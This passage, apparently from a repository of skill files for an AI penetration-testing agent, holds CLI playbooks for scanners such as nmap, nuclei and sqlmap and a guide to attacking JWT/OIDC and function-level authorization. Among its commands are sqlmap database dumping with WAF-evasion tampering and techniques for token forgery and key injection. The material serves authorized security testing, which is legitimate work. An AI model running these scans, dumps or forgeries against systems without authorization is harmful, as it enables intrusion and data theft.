absolutely necessary.\n\nFailure recovery:\n- If too many timeouts occur, reduce `-rl/-t` and/or increase `-timeout`.\n- If output is noisy, add `-fc` filters or `-fd` duplicate filtering.\n- If HTTPS-only probing misses HTTP services, rerun with `-nf` (and avoid `-nfs`).\n\nIf uncertain, query web_search with:\n`site:docs.projectdiscovery.io httpx <flag> usage`\n"
  },
  {
    "path": "strix/skills/tooling/katana.md",
    "content": "---\nname: katana\ndescription: Katana crawler syntax, depth/js/known-files behavior, and stable concurrency controls.\n---\n\n# Katana CLI Playbook\n\nOfficial docs:\n- https://docs.projectdiscovery.io/opensource/katana/usage\n- https://docs.projectdiscovery.io/opensource/katana/running\n- https://github.com/projectdiscovery/katana\n\nCanonical syntax:\n`katana [flags]`\n\nHigh-signal flags:\n- `-u, -list <url|file>` target URL(s)\n- `-d, -depth <n>` crawl depth\n- `-jc, -js-crawl` parse JavaScript-discovered endpoints\n- `-jsl, -jsluice` deeper JS parsing (memory intensive)\n- `-kf, -known-files <all|robotstxt|sitemapxml>` known-file crawling mode\n- `-proxy <http|socks5 proxy>` explicit proxy setting\n- `-c, -concurrency <n>` concurrent fetchers\n- `-p, -parallelism <n>` concurrent input targets\n- `-rl, -rate-limit <n>` request rate limit\n- `-timeout <seconds>` request timeout\n- `-retry <n>` retry count\n- `-ef, -extension-filter <list>` extension exclusions\n- `-tlsi, -tls-impersonate` experimental JA3/TLS impersonation\n- `-hl, -headless` enable hybrid headless crawling\n- `-sc, -system-chrome` use local Chrome for headless mode\n- `-ho, -headless-options <csv>` extra Chrome options (for example proxy-server)\n- `-nos, -no-sandbox` run Chrome headless with no-sandbox\n- `-noi, -no-incognito` disable incognito in headless mode\n- `-cdd, -chrome-data-dir <dir>` persist browser profile/session\n- `-xhr, -xhr-extraction` include XHR endpoints in JSONL output\n- `-silent`, `-j, -jsonl`, `-o <file>` output controls\n\nAgent-safe baseline for automation:\n`mkdir -p crawl && katana -u https://target.tld -d 3 -jc -kf robotstxt -c 10 -p 10 -rl 50 -timeout 10 -retry 1 -ef png,jpg,jpeg,gif,svg,css,woff,woff2,ttf,eot,map -silent -j -o crawl/katana.jsonl`\n\nCommon patterns:\n- Fast crawl baseline:\n  `katana -u https://target.tld -d 3 -jc -silent`\n- Deeper JS-aware crawl:\n  `katana -u https://target.tld -d 5 -jc -jsl -kf all -c 10 -p 10 -rl 50 -o katana_urls.txt`\n- Multi-target run with JSONL output:\n  `katana -list urls.txt -d 3 -jc -silent -j -o katana.jsonl`\n- Headless crawl with local Chrome:\n  `katana -u https://target.tld -hl -sc -nos -xhr -j -o crawl/katana_headless.jsonl`\n- Headless crawl through proxy:\n  `katana -u https://target.tld -hl -sc -ho proxy-server=http://127.0.0.1:48080 -j -o crawl/katana_proxy.jsonl`\n\nCritical correctness rules:\n- `-kf` must be followed by one of `all`, `robotstxt`, or `sitemapxml`.\n- Use documented `-hl` for headless mode.\n- `-proxy` expects a single proxy URL string (for example `http://127.0.0.1:8080`).\n- `-ho` expects comma-separated Chrome options (example: `-ho --disable-gpu,proxy-server=http://127.0.0.1:8080`).\n- For `-kf`, keep depth at least `-d 3` so known files are fully covered.\n- If writing to a file, ensure parent directory exists before `-o`.\n\nUsage rules:\n- Keep `-d`, `-c`, `-p`, and `-rl` explicit for reproducible runs.\n- Use `-ef` early to reduce static-file noise before fuzzing.\n- Prefer `-proxy` over environment proxy variables when proxying only Katana traffic.\n- Use `-hc` only for one-time diagnostics, not routine crawling loops.\n- Do not use `-h`/`--help` for routine runs unless absolutely necessary.\n\nFailure recovery:\n- If crawl runs too long, lower `-d` and optionally add `-ct`.\n- If memory spikes, disable `-jsl` and lower `-c/-p`.\n- If headless fails with Chrome errors, drop `-sc` or install system Chrome.\n- If output is noisy, tighten scope and add `-ef` filters.\n\nIf uncertain, query web_search with:\n`site:docs.projectdiscovery.io katana <flag> usage`\n"
  },
  {
    "path": "strix/skills/tooling/naabu.md",
    "content": "---\nname: naabu\ndescription: Naabu port-scanning syntax with host input, scan-type, verification, and rate controls.\n---\n\n# Naabu CLI Playbook\n\nOfficial docs:\n- https://docs.projectdiscovery.io/opensource/naabu/usage\n- https://docs.projectdiscovery.io/opensource/naabu/running\n- https://github.com/projectdiscovery/naabu\n\nCanonical syntax:\n`naabu [flags]`\n\nHigh-signal flags:\n- `-host <host>` single host\n- `-list, -l <file>` hosts list\n- `-p <ports>` explicit ports (supports ranges)\n- `-top-ports <n|full>` top ports profile\n- `-exclude-ports <ports>` exclusions\n- `-scan-type <s|c|syn|connect>` SYN or CONNECT scan\n- `-Pn` skip host discovery\n- `-rate <n>` packets per second\n- `-c <n>` worker count\n- `-timeout <ms>` per-probe timeout in milliseconds\n- `-retries <n>` retry attempts\n- `-proxy <socks5://host:port>` SOCKS5 proxy\n- `-verify` verify discovered open ports\n- `-j, -json` JSONL output\n- `-silent` compact output\n- `-o <file>` output file\n\nAgent-safe baseline for automation:\n`naabu -list hosts.txt -top-ports 100 -scan-type c -Pn -rate 300 -c 25 -timeout 1000 -retries 1 -verify -silent -j -o naabu.jsonl`\n\nCommon patterns:\n- Top ports with controlled rate:\n  `naabu -list hosts.txt -top-ports 100 -scan-type c -rate 300 -c 25 -timeout 1000 -retries 1 -verify -silent -o naabu.txt`\n- Focused web-ports sweep:\n  `naabu -list hosts.txt -p 80,443,8080,8443 -scan-type c -rate 300 -c 25 -timeout 1000 -retries 1 -verify -silent`\n- Single-host quick check:\n  `naabu -host target.tld -p 22,80,443 -scan-type c -rate 300 -c 25 -timeout 1000 -retries 1 -verify`\n- Root SYN mode (if available):\n  `sudo naabu -list hosts.txt -top-ports 100 -scan-type syn -rate 500 -c 25 -timeout 1000 -retries 1 -verify -silent`\n\nCritical correctness rules:\n- Use `-scan-type connect` when running without root/privileged raw socket access.\n- Always set `-timeout` explicitly; it is in milliseconds.\n- Set `-rate` explicitly to avoid unstable or noisy scans.\n- `-timeout` is in milliseconds, not seconds.\n- Keep port scope tight: prefer explicit important ports or a small `-top-ports` value unless broader coverage is explicitly required.\n- Do not spam traffic; start with the smallest useful port set and conservative rate/worker settings.\n- Prefer `-verify` before handing ports to follow-up scanners.\n\nUsage rules:\n- Keep host discovery behavior explicit (`-Pn` or default discovery).\n- Use `-j -o <file>` for automation pipelines.\n- Prefer `-p 22,80,443,8080,8443` or `-top-ports 100` before considering larger sweeps.\n- Do not use `-h`/`--help` for normal flow unless absolutely necessary.\n\nFailure recovery:\n- If privileged socket errors occur, switch to `-scan-type c`.\n- If scans are slow or lossy, lower `-rate`, lower `-c`, and tighten `-p`/`-top-ports`.\n- If many hosts appear down, compare runs with and without `-Pn`.\n\nIf uncertain, query web_search with:\n`site:docs.projectdiscovery.io naabu <flag> usage`\n"
  },
  {
    "path": "strix/skills/tooling/nmap.md",
    "content": "---\nname: nmap\ndescription: Canonical Nmap CLI syntax, two-pass scanning workflow, and sandbox-safe bounded scan patterns.\n---\n\n# Nmap CLI Playbook\n\nOfficial docs:\n- https://nmap.org/book/man-briefoptions.html\n- https://nmap.org/book/man.html\n- https://nmap.org/book/man-performance.html\n\nCanonical syntax:\n`nmap [Scan Type(s)] [Options] {target specification}`\n\nHigh-signal flags:\n- `-n` skip DNS resolution\n- `-Pn` skip host discovery when ICMP/ping is filtered\n- `-sS` SYN scan (root/privileged)\n- `-sT` TCP connect scan (no raw-socket privilege)\n- `-sV` detect service versions\n- `-sC` run default NSE scripts\n- `-p <ports>` explicit ports (`-p-` for all TCP ports)\n- `--top-ports <n>` quick common-port sweep\n- `--open` show only hosts with open ports\n- `-T<0-5>` timing template (`-T4` common)\n- `--max-retries <n>` cap retransmissions\n- `--host-timeout <time>` give up on very slow hosts\n- `--script-timeout <time>` bound NSE script runtime\n- `-oA <prefix>` output in normal/XML/grepable formats\n\nAgent-safe baseline for automation:\n`nmap -n -Pn --open --top-ports 100 -T4 --max-retries 1 --host-timeout 90s -oA nmap_quick <host>`\n\nCommon patterns:\n- Fast first pass:\n  `nmap -n -Pn --top-ports 100 --open -T4 --max-retries 1 --host-timeout 90s <host>`\n- Very small important-port pass:\n  `nmap -n -Pn -p 22,80,443,8080,8443 --open -T4 --max-retries 1 --host-timeout 90s <host>`\n- Service/script enrichment on discovered ports:\n  `nmap -n -Pn -sV -sC -p <comma_ports> --script-timeout 30s --host-timeout 3m -oA nmap_services <host>`\n- No-root fallback:\n  `nmap -n -Pn -sT --top-ports 100 --open --host-timeout 90s <host>`\n\nCritical correctness rules:\n- Always set target scope explicitly.\n- Prefer two-pass scanning: discovery pass, then enrichment pass.\n- Always set a timeout boundary with `--host-timeout`; add `--script-timeout` whenever NSE scripts are involved.\n- Keep discovery scans tight: use explicit important ports or a small `--top-ports` profile unless broader coverage is explicitly required.\n- In sandboxed runs, avoid exhaustive sweeps (`-p-`, very high `--top-ports`, or wide host ranges) unless explicitly required.\n- Do not spam traffic; start with the smallest port set that can answer the question.\n- Prefer `naabu` for broad port discovery; use `nmap` for scoped verification/enrichment.\n\nUsage rules:\n- Add `-n` by default in automation to avoid DNS delays.\n- Use `-oA` for reusable artifacts.\n- Prefer `-p 22,80,443,8080,8443` or `--top-ports 100` before considering larger sweeps.\n- Do not use `-h`/`--help` for routine usage unless absolutely necessary.\n\nFailure recovery:\n- If host appears down unexpectedly, rerun with `-Pn`.\n- If scan stalls, tighten scope (`-p` or smaller `--top-ports`) and lower retries.\n- If scripts run too long, add `--script-timeout`.\n\nIf uncertain, query web_search with:\n`site:nmap.org/book nmap <flag>`\n"
  },
  {
    "path": "strix/skills/tooling/nuclei.md",
    "content": "---\nname: nuclei\ndescription: Exact Nuclei command structure, template selection, and bounded high-throughput execution controls.\n---\n\n# Nuclei CLI Playbook\n\nOfficial docs:\n- https://docs.projectdiscovery.io/opensource/nuclei/running\n- https://docs.projectdiscovery.io/opensource/nuclei/mass-scanning-cli\n- https://github.com/projectdiscovery/nuclei\n\nCanonical syntax:\n`nuclei [flags]`\n\nHigh-signal flags:\n- `-u, -target <url>` single target\n- `-l, -list <file>` targets file\n- `-im, -input-mode <mode>` list/burp/jsonl/yaml/openapi/swagger\n- `-t, -templates <path|tag>` explicit template path(s)\n- `-tags <tag1,tag2>` run by tag\n- `-s, -severity <critical,high,...>` severity filter\n- `-as, -automatic-scan` tech-mapped automatic scan\n- `-ni, -no-interactsh` disable OAST/interactsh requests\n- `-rl, -rate-limit <n>` global request rate cap\n- `-c, -concurrency <n>` template concurrency\n- `-bs, -bulk-size <n>` hosts in parallel per template\n- `-timeout <seconds>` request timeout\n- `-retries <n>` retries\n- `-stats` periodic scan stats output\n- `-silent` findings-only output\n- `-j, -jsonl` JSONL output\n- `-o <file>` output file\n\nAgent-safe baseline for automation:\n`nuclei -l targets.txt -as -s critical,high -rl 50 -c 20 -bs 20 -timeout 10 -retries 1 -silent -j -o nuclei.jsonl`\n\nCommon patterns:\n- Focused severity scan:\n  `nuclei -u https://target.tld -s critical,high -silent -o nuclei_high.txt`\n- List-driven controlled scan:\n  `nuclei -l targets.txt -as -rl 50 -c 20 -bs 20 -timeout 10 -retries 1 -j -o nuclei.jsonl`\n- Tag-driven run:\n  `nuclei -l targets.txt -tags cve,misconfig -s critical,high,medium -silent`\n- Explicit templates:\n  `nuclei -l targets.txt -t http/cves/ -t dns/ -rl 30 -c 10 -bs 10 -j -o nuclei_templates.jsonl`\n- Deterministic non-OAST run:\n  `nuclei -l targets.txt -as -s critical,high -ni -stats -rl 30 -c 10 -bs 10 -timeout 10 -retries 1 -j -o nuclei_no_oast.jsonl`\n\nCritical correctness rules:\n- Provide a template selection method (`-as`, `-t`, or `-tags`); avoid unscoped broad runs.\n- Keep `-rl`, `-c`, and `-bs` explicit for predictable resource use.\n- Use `-ni` when outbound interactsh/OAST traffic is not expected or not allowed.\n- Use structured output (`-j -o <file>`) for automation.\n\nUsage rules:\n- Start with severity/tags/templates filters to keep runs explainable.\n- Keep retries conservative (`-retries 1`) unless transport instability is proven.\n- Do not use `-h`/`--help` for routine operation unless absolutely necessary.\n\nFailure recovery:\n- If performance degrades, lower `-c/-bs` before lowering `-rl`.\n- If findings are unexpectedly empty, verify template selection (`-as` vs explicit `-t/-tags`).\n- If scan duration grows, reduce target set and enforce stricter template/severity filters.\n\nIf uncertain, query web_search with:\n`site:docs.projectdiscovery.io nuclei <flag> running`\n"
  },
  {
    "path": "strix/skills/tooling/semgrep.md",
    "content": "---\nname: semgrep\ndescription: Exact Semgrep CLI structure, metrics-off scanning, scoped ruleset selection, and automation-safe output patterns.\n---\n\n# Semgrep CLI Playbook\n\nOfficial docs:\n- https://semgrep.dev/docs/cli-reference\n- https://semgrep.dev/docs/getting-started/cli\n- https://semgrep.dev/docs/semgrep-code/semgrep-pro-engine-intro\n\nCanonical syntax:\n`semgrep scan [flags]`\n\nHigh-signal flags:\n- `--config <rule_or_ruleset>` ruleset, registry pack, local rule file, or directory\n- `--metrics=off` disable telemetry and metrics reporting\n- `--json` JSON output\n- `--sarif` SARIF output\n- `--output <file>` write findings to file\n- `--severity <level>` filter by severity\n- `--error` return non-zero exit when findings exist\n- `--quiet` suppress progress noise\n- `--jobs <n>` parallel workers\n- `--timeout <seconds>` per-file timeout\n- `--exclude <pattern>` exclude path pattern\n- `--include <pattern>` include path pattern\n- `--exclude-rule <rule_id>` suppress specific rule\n- `--baseline-commit <sha>` only report findings introduced after baseline\n- `--pro` enable Pro engine if available\n- `--oss-only` force OSS engine only\n\nAgent-safe baseline for automation:\n`semgrep scan --config p/default --metrics=off --json --output semgrep.json --quiet --jobs 4 --timeout 20 /workspace`\n\nCommon patterns:\n- Default security scan:\n  `semgrep scan --config p/default --metrics=off --json --output semgrep.json --quiet /workspace`\n- High-severity focused pass:\n  `semgrep scan --config p/default --severity ERROR --metrics=off --json --output semgrep_high.json --quiet /workspace`\n- OWASP-oriented scan:\n  `semgrep scan --config p/owasp-top-ten --metrics=off --sarif --output semgrep.sarif --quiet /workspace`\n- Language- or framework-specific rules:\n  `semgrep scan --config p/python --config p/secrets --metrics=off --json --output semgrep_python.json --quiet /workspace`\n- Scoped directory scan:\n  `semgrep scan --config p/default --metrics=off --json --output semgrep_api.json --quiet /workspace/services/api`\n- Pro engine check or run:\n  `semgrep scan --config p/default --pro --metrics=off --json --output semgrep_pro.json --quiet /workspace`\n\nCritical correctness rules:\n- Always include `--metrics=off`; Semgrep sends telemetry by default.\n- Always provide an explicit `--config`; do not rely on vague or implied defaults.\n- Prefer `--json --output <file>` or `--sarif --output <file>` for machine-readable downstream processing.\n- Keep the target path explicit; use an absolute or clearly scoped workspace path instead of `.` when possible.\n- If Pro availability matters, check it explicitly with a bounded command before assuming cross-file analysis exists.\n\nUsage rules:\n- Start with `p/default` unless the task clearly calls for a narrower pack.\n- Add focused packs such as `p/secrets`, `p/python`, or `p/javascript` only when they match the target stack.\n- Use `--quiet` in automation to reduce noisy logs.\n- Use `--jobs` and `--timeout` explicitly for reproducible runtime behavior.\n- Do not use `-h`/`--help` for routine operation unless absolutely necessary.\n\nFailure recovery:\n- If scans are too slow, narrow the target path and reduce the active rulesets before changing engine settings.\n- If scans time out, increase `--timeout` modestly or lower `--jobs`.\n- If output is too broad, scope `--config`, add `--severity`, or exclude known irrelevant paths.\n- If Pro mode fails, rerun with `--oss-only` or without `--pro` and note the loss of cross-file coverage.\n\nIf uncertain, query web_search with:\n`site:semgrep.dev semgrep <flag> cli`\n"
  },
  {
    "path": "strix/skills/tooling/sqlmap.md",
    "content": "---\nname: sqlmap\ndescription: sqlmap target syntax, non-interactive execution, and common validation/enumeration workflows.\n---\n\n# sqlmap CLI Playbook\n\nOfficial docs:\n- https://github.com/sqlmapproject/sqlmap/wiki/usage\n- https://sqlmap.org\n\nCanonical syntax:\n`sqlmap -u \"<target_url_with_params>\" [options]`\n\nHigh-signal flags:\n- `-u, --url <url>` target URL\n- `-r <request_file>` raw HTTP request input\n- `-p <param>` test specific parameter(s)\n- `--batch` non-interactive mode\n- `--level <1-5>` test depth\n- `--risk <1-3>` payload risk profile\n- `--threads <n>` concurrency\n- `--technique <letters>` technique selection\n- `--forms` parse and test forms from target page\n- `--cookie <cookie>` and `--headers <headers>` authenticated context\n- `--timeout <seconds>` and `--retries <n>` transport stability\n- `--tamper <scripts>` WAF/input-filter evasion\n- `--random-agent` randomize user-agent\n- `--ignore-proxy` bypass configured proxy\n- `--dbs`, `-D <db> --tables`, `-D <db> -T <table> --columns`, `-D <db> -T <table> -C <cols> --dump`\n- `--flush-session` clear cached scan state\n\nAgent-safe baseline for automation:\n`sqlmap -u \"https://target.tld/item?id=1\" -p id --batch --level 2 --risk 1 --threads 5 --timeout 10 --retries 1 --random-agent`\n\nCommon patterns:\n- Baseline injection check:\n  `sqlmap -u \"https://target.tld/item?id=1\" -p id --batch --level 2 --risk 1 --threads 5`\n- POST parameter testing:\n  `sqlmap -u \"https://target.tld/login\" --data \"user=admin&pass=test\" -p pass --batch --level 2 --risk 1`\n- Form-driven testing:\n  `sqlmap -u \"https://target.tld/login\" --forms --batch --level 2 --risk 1 --random-agent`\n- Enumerate DBs:\n  `sqlmap -u \"https://target.tld/item?id=1\" -p id --batch --dbs`\n- Enumerate tables in DB:\n  `sqlmap -u \"https://target.tld/item?id=1\" -p id --batch -D appdb --tables`\n- Dump selected columns:\n  `sqlmap -u \"https://target.tld/item?id=1\" -p id --batch -D appdb -T users -C id,email,role --dump`\n\nCritical correctness rules:\n- Always include `--batch` in automation to avoid interactive prompts.\n- Keep target parameter explicit with `-p` when possible.\n- Use `--flush-session` when retesting after request/profile changes.\n- Start conservative (`--level 1-2`, `--risk 1`) and escalate only when needed.\n\nUsage rules:\n- Keep authenticated context (`--cookie`/`--headers`) aligned with manual validation state.\n- Prefer narrow extraction (`-D/-T/-C`) over broad dump-first behavior.\n- Do not use `-h`/`--help` during normal execution unless absolutely necessary.\n\nFailure recovery:\n- If results conflict with manual testing, rerun with `--flush-session`.\n- If blocked by filtering/WAF, reduce `--threads` and test targeted `--tamper` chains.\n- If initial detection misses likely injection, increment `--level`/`--risk` gradually.\n\nIf uncertain, query web_search with:\n`site:github.com/sqlmapproject/sqlmap/wiki/usage sqlmap <flag>`\n"
  },
  {
    "path": "strix/skills/tooling/subfinder.md",
    "content": "---\nname: subfinder\ndescription: Subfinder passive subdomain enumeration syntax, source controls, and pipeline-ready output patterns.\n---\n\n# Subfinder CLI Playbook\n\nOfficial docs:\n- https://docs.projectdiscovery.io/opensource/subfinder/usage\n- https://docs.projectdiscovery.io/opensource/subfinder/running\n- https://github.com/projectdiscovery/subfinder\n\nCanonical syntax:\n`subfinder [flags]`\n\nHigh-signal flags:\n- `-d <domain>` single domain\n- `-dL <file>` domain list\n- `-all` include all sources\n- `-recursive` use recursive-capable sources\n- `-s <sources>` include specific sources\n- `-es <sources>` exclude specific sources\n- `-rl <n>` global rate limit\n- `-rls <source=n/s,...>` per-source rate limits\n- `-proxy <http://host:port>` proxy outbound source requests\n- `-silent` compact output\n- `-o <file>` output file\n- `-oJ, -json` JSONL output\n- `-cs, -collect-sources` include source metadata (`-oJ` output)\n- `-nW, -active` show only active subdomains\n- `-timeout <seconds>` request timeout\n- `-max-time <minutes>` overall enumeration cap\n\nAgent-safe baseline for automation:\n`subfinder -d example.com -all -recursive -rl 20 -timeout 30 -silent -oJ -o subfinder.jsonl`\n\nCommon patterns:\n- Standard passive enum:\n  `subfinder -d example.com -silent -o subs.txt`\n- Broad-source passive enum:\n  `subfinder -d example.com -all -recursive -silent -o subs_all.txt`\n- Multi-domain run:\n  `subfinder -dL domains.txt -all -recursive -rl 20 -silent -o subfinder_out.txt`\n- Source-attributed JSONL output:\n  `subfinder -d example.com -all -oJ -cs -o subfinder_sources.jsonl`\n- Passive enum via explicit proxy:\n  `subfinder -d example.com -all -recursive -proxy http://127.0.0.1:48080 -silent -oJ -o subfinder_proxy.jsonl`\n\nCritical correctness rules:\n- `-cs` is useful only with JSON output (`-oJ`).\n- Many sources require API keys in provider config; low results can be config-related, not target-related.\n- `-nW` performs active resolution/filtering and can drop passive-only hits.\n- Keep passive enum first, then validate with `httpx`.\n\nUsage rules:\n- Keep output files explicit when chaining to `httpx`/`nuclei`.\n- Use `-rl/-rls` when providers throttle aggressively.\n- Do not use `-h`/`--help` for routine tasks unless absolutely necessary.\n\nFailure recovery:\n- If results are unexpectedly low, rerun with `-all` and verify provider config/API keys.\n- If provider errors appear, lower `-rl` and apply `-rls` per source.\n- If runs take too long, lower scope or split domain batches.\n\nIf uncertain, query web_search with:\n`site:docs.projectdiscovery.io subfinder <flag> usage`\n"
  },
  {
    "path": "strix/skills/vulnerabilities/authentication_jwt.md",
    "content": "---\nname: authentication-jwt\ndescription: JWT and OIDC security testing covering token forgery, algorithm confusion, and claim manipulation\n---\n\n# Authentication / JWT / OIDC\n\nJWT/OIDC failures often enable token forgery, token confusion, cross-service acceptance, and durable account takeover. Do not trust headers, claims, or token opacity without strict validation bound to issuer, audience, key, and context.\n\n## Attack Surface\n\n- Web/mobile/API authentication using JWT (JWS/JWE) and OIDC/OAuth2\n- Access vs ID tokens, refresh tokens, device/PKCE/Backchannel flows\n- First-party and microservices verification, gateways, and JWKS distribution\n\n## Reconnaissance\n\n### Endpoints\n\n- Well-known: `/.well-known/openid-configuration`, `/oauth2/.well-known/openid-configuration`\n- Keys: `/jwks.json`, rotating key endpoints, tenant-specific JWKS\n- Auth: `/authorize`, `/token`, `/introspect`, `/revoke`, `/logout`, device code endpoints\n- App: `/login`, `/callback`, `/refresh`, `/me`, `/session`, `/impersonate`\n\n### Token Features\n\n- Headers: `{\"alg\":\"RS256\",\"kid\":\"...\",\"typ\":\"JWT\",\"jku\":\"...\",\"x5u\":\"...\",\"jwk\":{...}}`\n- Claims: `{\"iss\":\"...\",\"aud\":\"...\",\"azp\":\"...\",\"sub\":\"user\",\"scope\":\"...\",\"exp\":...,\"nbf\":...,\"iat\":...}`\n- Formats: JWS (signed), JWE (encrypted). Note unencoded payload option (`\"b64\":false`) and critical headers (`\"crit\"`)\n\n## Key Vulnerabilities\n\n### Signature Verification\n\n- RS256→HS256 confusion: change alg to HS256 and use the RSA public key as HMAC secret if algorithm is not pinned\n- \"none\" algorithm acceptance: set `\"alg\":\"none\"` and drop the signature if libraries accept it\n- ECDSA malleability/misuse: weak verification settings accepting non-canonical signatures\n\n### Header Manipulation\n\n- **kid injection**: path traversal `../../../../keys/prod.key`, SQL/command/template injection in key lookup, or pointing to world-readable files\n- **jku/x5u abuse**: host attacker-controlled JWKS/X509 chain; if not pinned/whitelisted, server fetches and trusts attacker keys\n- **jwk header injection**: embed attacker JWK in header; some libraries prefer inline JWK over server-configured keys\n- **SSRF via remote key fetch**: exploit JWKS URL fetching to reach internal hosts\n\n### Key and Cache Issues\n\n- JWKS caching TTL and key rollover: accept obsolete keys; race rotation windows; missing kid pinning → accept any matching kty/alg\n- Mixed environments: same secrets across dev/stage/prod; key reuse across tenants or services\n- Fallbacks: verification succeeds when kid not found by trying all keys or no keys (implementation bugs)\n\n### Claims Validation Gaps\n\n- iss/aud/azp not enforced: cross-service token reuse; accept tokens from any issuer or wrong audience\n- scope/roles fully trusted from token: server does not re-derive authorization; privilege inflation via claim edits when signature checks are weak\n- exp/nbf/iat not enforced or large clock skew tolerance; accept long-expired or not-yet-valid tokens\n- typ/cty not enforced: accept ID token where access token required (token confusion)\n\n### Token Confusion and OIDC\n\n- Access vs ID token swap: use ID token against APIs when they only verify signature but not audience/typ\n- OIDC mix-up: redirect_uri and client mix-ups causing tokens for Client A to be redeemed at Client B\n- PKCE downgrades: missing S256 requirement; accept plain or absent code_verifier\n- State/nonce weaknesses: predictable or missing → CSRF/logical interception of login\n- Device/Backchannel flows: codes and tokens accepted by unintended clients or services\n\n### Refresh and Session\n\n- Refresh token rotation not enforced: reuse old refresh token indefinitely; no reuse detection\n- Long-lived JWTs with no revocation: persistent access post-logout\n- Session fixation: bind new tokens to attacker-controlled session identifiers or cookies\n\n### Transport and Storage\n\n- Token in localStorage/sessionStorage: susceptible to XSS exfiltration; cookie vs header trade-offs with SameSite/CSRF\n- Insecure CORS: wildcard origins with credentialed requests expose tokens and protected responses\n- TLS and cookie flags: missing Secure/HttpOnly; lack of mTLS or DPoP/\"cnf\" binding permits replay from another device\n\n## Advanced Techniques\n\n### Microservices and Gateways\n\n- Audience mismatch: internal services verify signature but ignore aud → accept tokens for other services\n- Header trust: edge or gateway injects X-User-Id; backend trusts it over token claims\n- Asynchronous consumers: workers process messages with bearer tokens but skip verification on replay\n\n### JWS Edge Cases\n\n- Unencoded payload (b64=false) with crit header: libraries mishandle verification paths\n- Nested JWT (JWT-in-JWT) verification order errors; outer token accepted while inner claims ignored\n\n## Special Contexts\n\n### Mobile\n\n- Deep-link/redirect handling bugs leak codes/tokens; insecure WebView bridges exposing tokens\n- Token storage in plaintext files/SQLite/Keychain/SharedPrefs; backup/adb accessible\n\n### SSO Federation\n\n- Misconfigured trust between multiple IdPs/SPs, mixed metadata, or stale keys lead to acceptance of foreign tokens\n\n## Chaining Attacks\n\n- XSS → token theft → replay across services with weak audience checks\n- SSRF → fetch private JWKS → sign tokens accepted by internal services\n- Host header poisoning → OIDC redirect_uri poisoning → code capture\n- IDOR in sessions/impersonation endpoints → mint tokens for other users\n\n## Testing Methodology\n\n1. **Inventory issuers/consumers** - Identity providers, API gateways, services, mobile/web clients\n2. **Capture tokens** - Access and ID tokens for multiple roles; note header, claims, signature\n3. **Map verification endpoints** - `/.well-known`, `/jwks.json`\n4. **Build matrix** - Token Type × Audience × Service; attempt cross-use\n5. **Mutate components** - Headers (alg, kid, jku/x5u/jwk), claims (iss/aud/azp/sub/exp), signatures\n6. **Verify enforcement** - What is actually checked vs assumed\n\n## Validation\n\n1. Show forged or cross-context token acceptance (wrong alg, wrong audience/issuer, or attacker-signed JWKS)\n2. Demonstrate access token vs ID token confusion at an API\n3. Prove refresh token reuse without rotation detection or revocation\n4. Confirm header abuse (kid/jku/x5u/jwk) leading to key selection under attacker control\n5. Provide owner vs non-owner evidence with identical requests differing only in token context\n\n## False Positives\n\n- Token rejected due to strict audience/issuer enforcement\n- Key pinning with JWKS whitelist and TLS validation\n- Short-lived tokens with rotation and revocation on logout\n- ID token not accepted by APIs that require access tokens\n\n## Impact\n\n- Account takeover and durable session persistence\n- Privilege escalation via claim manipulation or cross-service acceptance\n- Cross-tenant or cross-application data access\n- Token minting by attacker-controlled keys or endpoints\n\n## Pro Tips\n\n1. Pin verification to issuer and audience; log and diff claim sets across services\n2. Attempt RS256→HS256 and \"none\" first only if algorithm pinning is unclear; otherwise focus on header key control (kid/jku/x5u/jwk)\n3. Test token reuse across all services; many backends only check signature, not audience/typ\n4. Exploit JWKS caching and rotation races; try retired keys and missing kid fallbacks\n5. Exercise OIDC flows with PKCE/state/nonce variants and mixed clients; look for mix-up\n6. Try DPoP/mTLS absence to replay tokens from different devices\n7. Treat refresh as its own surface: rotation, reuse detection, and audience scoping\n8. Validate every acceptance path: gateway, service, worker, WebSocket, and gRPC\n9. Favor minimal PoCs that clearly show cross-context acceptance and durable access\n10. When in doubt, assume verification differs per stack (mobile vs web vs gateway) and test each\n\n## Summary\n\nVerification must bind the token to the correct issuer, audience, key, and client context on every acceptance path. Any missing binding enables forgery or confusion.\n"
  },
  {
    "path": "strix/skills/vulnerabilities/broken_function_level_authorization.md",
    "content": "---\nname: broken-function-level-authorization\ndescription: BFLA testing for action-level authorization failures across endpoints, admin functions, and API operations\n---\n\n# Broken Function Level Authorization (BFLA)\n\nBFLA is action-level authorization failure: callers invoke functions (endpoints, mutations, admin tools) they are not entitled to. It appears when enforcement differs across transports, gateways, roles, or when services trust client hints. Bind subject × action at the service that performs the action.\n\n## Attack Surface\n\n- Vertical authz: privileged/admin/staff-only actions reachable by basic users\n- Feature gates: toggles enforced at edge/UI, not at core services\n- Transport drift: REST vs GraphQL vs gRPC vs WebSocket with inconsistent checks\n- Gateway trust: backends trust X-User-Id/X-Role injected by proxies/edges\n- Background workers/jobs performing actions without re-checking authz\n\n## High-Value Actions\n\n- Role/permission changes, impersonation/sudo, invite/accept into orgs\n- Approve/void/refund/credit issuance, price/plan overrides\n- Export/report generation, data deletion, account suspension/reactivation\n- Feature flag toggles, quota/grant adjustments, license/seat changes\n- Security settings: 2FA reset, email/phone verification overrides\n\n## Reconnaissance\n\n### Surface Enumeration\n\n- Admin/staff consoles and APIs, support tools, internal-only endpoints exposed via gateway\n- Hidden buttons and disabled UI paths (feature-flagged) mapped to still-live endpoints\n- GraphQL schemas: mutations and admin-only fields/types; gRPC service descriptors (reflection)\n- Mobile clients often reveal extra endpoints/roles in app bundles or network logs\n\n### Signals\n\n- 401/403 on UI but 200 via direct API call; differing status codes across transports\n- Actions succeed via background jobs when direct call is denied\n- Changing only headers (role/org) alters access without token change\n\n## Key Vulnerabilities\n\n### Verb Drift and Aliases\n\n- Alternate methods: GET performing state change; POST vs PUT vs PATCH differences; X-HTTP-Method-Override/_method\n- Alternate endpoints performing the same action with weaker checks (legacy vs v2, mobile vs web)\n\n### Edge vs Core Mismatch\n\n- Edge blocks an action but core service RPC accepts it directly; call internal service via exposed API route or SSRF\n- Gateway-injected identity headers override token claims; supply conflicting headers to test precedence\n\n### Feature Flag Bypass\n\n- Client-checked feature gates; call backend endpoints directly\n- Admin-only mutations exposed but hidden in UI; invoke via GraphQL or gRPC tools\n\n### Batch Job Paths\n\n- Create export/import jobs where creation is allowed but finalize/approve lacks authz; finalize others' jobs\n- Replay webhooks/background tasks endpoints that perform privileged actions without verifying caller\n\n### Content-Type Paths\n\n- JSON vs form vs multipart handlers using different middleware: send the action via the most permissive parser\n\n## Advanced Techniques\n\n### GraphQL\n\n- Resolver-level checks per mutation/field; do not assume top-level auth 